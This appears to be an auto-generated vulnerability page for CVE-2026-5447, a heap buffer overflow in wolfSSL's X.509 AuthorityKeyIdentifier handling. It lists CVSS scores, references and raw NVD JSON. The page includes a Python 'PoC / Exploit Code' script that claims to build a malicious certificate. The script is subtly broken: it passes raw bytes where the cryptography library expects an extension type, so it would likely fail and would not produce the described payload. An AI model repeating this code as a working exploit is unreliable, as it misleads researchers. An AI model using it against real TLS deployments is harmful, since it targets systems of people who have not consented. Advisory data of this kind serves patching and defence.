CVE-2026-5447

Description

Heap buffer overflow in CertFromX509 via AuthorityKeyIdentifier size confusion. A heap buffer overflow occurs when converting an X.509 certificate internally due to incorrect size handling of the AuthorityKeyIdentifier extension.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:wolfssl:wolfssl:*:*:*:*:*:*:*:* - VULNERABLE

wolfSSL (Versions prior to fix in PR #10112)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import os
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.x509.oid import ExtensionOID
from datetime import datetime, timedelta

# Generate PoC for CVE-2026-5447
# This script generates a malicious X.509 certificate with an oversized AuthorityKeyIdentifier
# to trigger the heap buffer overflow in wolfSSL.

def generate_malicious_cert():
    # Generate RSA key pair
    key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
    )

    subject = issuer = x509.Name([
        x509.NameAttribute(NameOID.COUNTRY_NAME, u"US"),
        x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, u"CA"),
        x509.NameAttribute(NameOID.LOCALITY_NAME, u"San Francisco"),
        x509.NameAttribute(NameOID.ORGANIZATION_NAME, u"PoC"),
        x509.NameAttribute(NameOID.COMMON_NAME, u"wolfSSL Exploit"),
    ])

    # Create a buffer to cause overflow in AuthorityKeyIdentifier handling
    # The size confusion leads to writing beyond the allocated heap buffer.
    malicious_buffer = b'A' * 0x1000 

    # Build the certificate
    cert = x509.CertificateBuilder().subject_name(
        subject
    ).issuer_name(
        issuer
    ).public_key(
        key.public_key()
    ).serial_number(
        x509.random_serial_number()
    ).not_valid_before(
        datetime.utcnow()
    ).not_valid_after(
        datetime.utcnow() + timedelta(days=365)
    ).add_extension(
        x509.Extension(
            oid=ExtensionOID.AUTHORITY_KEY_IDENTIFIER,
            critical=False,
            value=malicious_buffer # Injecting payload
        ),
        critical=False,
    ).sign(key, hashes.SHA256())

    # Write the DER encoded certificate to file
    with open("cve_2026_5447_poc.der", "wb") as f:
        f.write(cert.public_bytes(serialization.Encoding.DER))

    print("Malicious certificate generated: cve_2026_5447_poc.der")

if __name__ == "__main__":
    generate_malicious_cert()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5447
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5447
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5447/
[4] VulDB https://vuldb.com/cve/CVE-2026-5447
[5] https://github.com/wolfSSL/wolfssl/pull/10112

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5447", "sourceIdentifier": "[email protected]", "published": "2026-04-09T21:16:13.150", "lastModified": "2026-04-29T17:21:51.310", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Heap buffer overflow in CertFromX509 via AuthorityKeyIdentifier size confusion. A heap buffer overflow occurs when converting an X.509 certificate internally due to incorrect size handling of the AuthorityKeyIdentifier extension."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wolfssl:wolfssl:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.9.1", "matchCriteriaId": "261C41E4-7F04-4C98-AD63-110136730EE9"}]}]}], "references": [{"url": "https://github.com/wolfSSL/wolfssl/pull/10112", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}